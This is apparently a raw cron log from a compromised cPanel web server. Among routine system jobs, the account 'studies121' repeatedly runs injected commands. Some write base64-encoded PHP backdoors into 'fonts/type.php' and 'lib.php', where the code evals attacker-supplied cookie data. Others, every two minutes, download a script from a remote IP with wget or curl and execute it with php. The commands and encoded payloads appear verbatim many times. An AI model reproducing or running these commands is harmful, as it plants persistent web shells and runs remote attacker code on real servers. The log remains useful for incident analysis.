Sep 10 05:21:01 ip-184-168-122-23 CROND[8088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:21:01 ip-184-168-122-23 CROND[8087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:21:01 ip-184-168-122-23 CROND[8089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:22:01 ip-184-168-122-23 CROND[8205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:22:01 ip-184-168-122-23 CROND[8207]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:22:01 ip-184-168-122-23 CROND[8209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:22:01 ip-184-168-122-23 CROND[8208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:22:01 ip-184-168-122-23 CROND[8210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:23:01 ip-184-168-122-23 CROND[8342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:23:01 ip-184-168-122-23 CROND[8341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:23:01 ip-184-168-122-23 CROND[8340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:23:01 ip-184-168-122-23 CROND[8339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:24:01 ip-184-168-122-23 CROND[8477]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:24:01 ip-184-168-122-23 CROND[8478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:24:01 ip-184-168-122-23 CROND[8482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:24:01 ip-184-168-122-23 CROND[8484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:24:01 ip-184-168-122-23 CROND[8481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:25:01 ip-184-168-122-23 CROND[8588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:25:01 ip-184-168-122-23 CROND[8589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:25:01 ip-184-168-122-23 CROND[8591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:25:01 ip-184-168-122-23 CROND[8594]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:25:01 ip-184-168-122-23 CROND[8592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:25:01 ip-184-168-122-23 CROND[8593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:26:01 ip-184-168-122-23 CROND[8810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:26:01 ip-184-168-122-23 CROND[8812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:26:01 ip-184-168-122-23 CROND[8813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:26:01 ip-184-168-122-23 CROND[8811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:26:01 ip-184-168-122-23 CROND[8814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:27:01 ip-184-168-122-23 CROND[8916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:27:01 ip-184-168-122-23 CROND[8915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:27:01 ip-184-168-122-23 CROND[8918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:27:01 ip-184-168-122-23 CROND[8920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:28:01 ip-184-168-122-23 CROND[9060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:28:01 ip-184-168-122-23 CROND[9062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:28:01 ip-184-168-122-23 CROND[9066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:28:01 ip-184-168-122-23 CROND[9063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:28:01 ip-184-168-122-23 CROND[9065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:29:01 ip-184-168-122-23 CROND[9173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:29:01 ip-184-168-122-23 CROND[9174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:29:01 ip-184-168-122-23 CROND[9175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:29:01 ip-184-168-122-23 CROND[9176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:30:01 ip-184-168-122-23 CROND[9334]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:30:01 ip-184-168-122-23 CROND[9336]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep 10 05:30:01 ip-184-168-122-23 CROND[9339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:30:01 ip-184-168-122-23 CROND[9342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:30:01 ip-184-168-122-23 CROND[9343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:30:01 ip-184-168-122-23 CROND[9338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:30:01 ip-184-168-122-23 CROND[9344]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:30:01 ip-184-168-122-23 CROND[9340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:30:01 ip-184-168-122-23 CROND[9341]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:31:01 ip-184-168-122-23 CROND[9467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:31:01 ip-184-168-122-23 CROND[9469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:31:01 ip-184-168-122-23 CROND[9472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:31:01 ip-184-168-122-23 CROND[9470]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 05:31:01 ip-184-168-122-23 CROND[9471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:32:01 ip-184-168-122-23 CROND[9684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:32:01 ip-184-168-122-23 CROND[9686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:32:01 ip-184-168-122-23 CROND[9685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:32:01 ip-184-168-122-23 CROND[9687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:32:01 ip-184-168-122-23 CROND[9689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:33:01 ip-184-168-122-23 CROND[9787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:33:01 ip-184-168-122-23 CROND[9789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
